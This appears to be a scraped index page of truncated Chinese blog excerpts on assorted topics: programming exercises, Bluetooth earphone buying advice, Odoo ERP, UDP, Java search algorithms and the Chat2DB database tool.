字符串 1.字符串长度 给定一行长度不超过 100 的非空字符串&#xff0c;请你求出它的具体长度。 输入格式 输入一行&#xff0c;表示一个字符串。注意字符串中可能包含空格。 输出格式 输出一个整数&#xff0c;表示它的长度。 数据范围 1≤字符串长度≤100 字符串末尾…

2024学生党蓝牙耳机什么牌子好?品牌高性价比蓝牙耳机推荐

2024年&#xff0c;对于追求性价比和品质的学生党来说&#xff0c;选择一款合适的蓝牙耳机是提升学习和生活品质的重要一环。面对市场上琳琅满目的蓝牙耳机产品&#xff0c;2024学生党蓝牙耳机什么牌子好&#xff1f;如何找到既满足音质需求又具备高性价比的款式呢&#xff1f;…

Odoo免费开源ERP如何处理汽车零部件企业的OE编码问题

业务背景 汽车零部件企业在每个汽配零件都有OE编号&#xff0c;即原厂编号&#xff0c;Original Equipment Number。一个配件&#xff0c;可能可以在多个车型上使用&#xff0c;对应的&#xff0c;就有多个可兼容的OE编号。 客户下单时候&#xff0c;直接报OE编号&#xff0c…

MT3054 搭积木

1.思路&#xff1a; 把二维矩阵转化成一维编号&#xff0c;之后将编号使用并查集&#xff0c;看最后是否在同一个集合中即可。 2.代码&#xff1a; #include <bits/stdc.h> using namespace std; const int N 1e3 10; int n, m, cnt, root; int fa[N * N]; int dx[…

[机器学习]-人工智能对程序员的深远影响——案例分析

机器学习和人工智能对未来程序员的深远影响 目录 机器学习和人工智能对未来程序员的深远影响1. **自动化编码任务**1.1 代码生成1.2 自动调试1.3 测试自动化 2. **提升开发效率**2.1 智能建议2.2 项目管理 3. **改变编程范式**3.1 数据驱动开发 4. **职业发展的新机遇**4.1 AI工…

【代码随想录】【算法训练营】【第63天】 [卡码53]寻宝

前言 思路及算法思维&#xff0c;指路 代码随想录。 题目来自 LeetCode。 day 63&#xff0c;周二&#xff0c;ding~ 题目详情 [卡码53] 寻宝 题目描述 卡码53 寻宝 解题思路 前提&#xff1a; 思路&#xff1a; 重点&#xff1a; 代码实现 C语言 prim算法 kruskal…

UDP协议介绍和作用

什么是UDP? UDP是User Datagram Protocol的简称&#xff0c;中文名是用户数据报协议&#xff0c;是OSI参考模型中的传输层协议&#xff0c;它是一种无连接的传输层协议&#xff0c;提供面向事务的简单不可靠信息传送服务。 UDP的正式规范是IETF RFC768。UDP在IP报文的协议号是…

java数组之线性查找、二分法查找

一、线性查找 思想&#xff1a;如果想在一个数组中查找是否有某个元素&#xff0c;最容易想到的办法就是遍历数组&#xff0c;将数组中元素与想要查找的元素逐个对比&#xff0c;如果相等表示找到了&#xff0c;如果不等&#xff0c;则表示没找到。这就是线性查找的思想。 案例…

Chat2DB:AI引领下的全链路数据库管理新纪元

一、引言 随着数据驱动决策成为现代企业和组织的核心竞争力&#xff0c;数据库管理工具的重要性日益凸显。然而&#xff0c;传统的数据库管理工具往往存在操作复杂、功能单一、不支持多类型数据库管理等问题&#xff0c;限制了数据的有效利用。为了打破这一局面&#xff0c;Ch…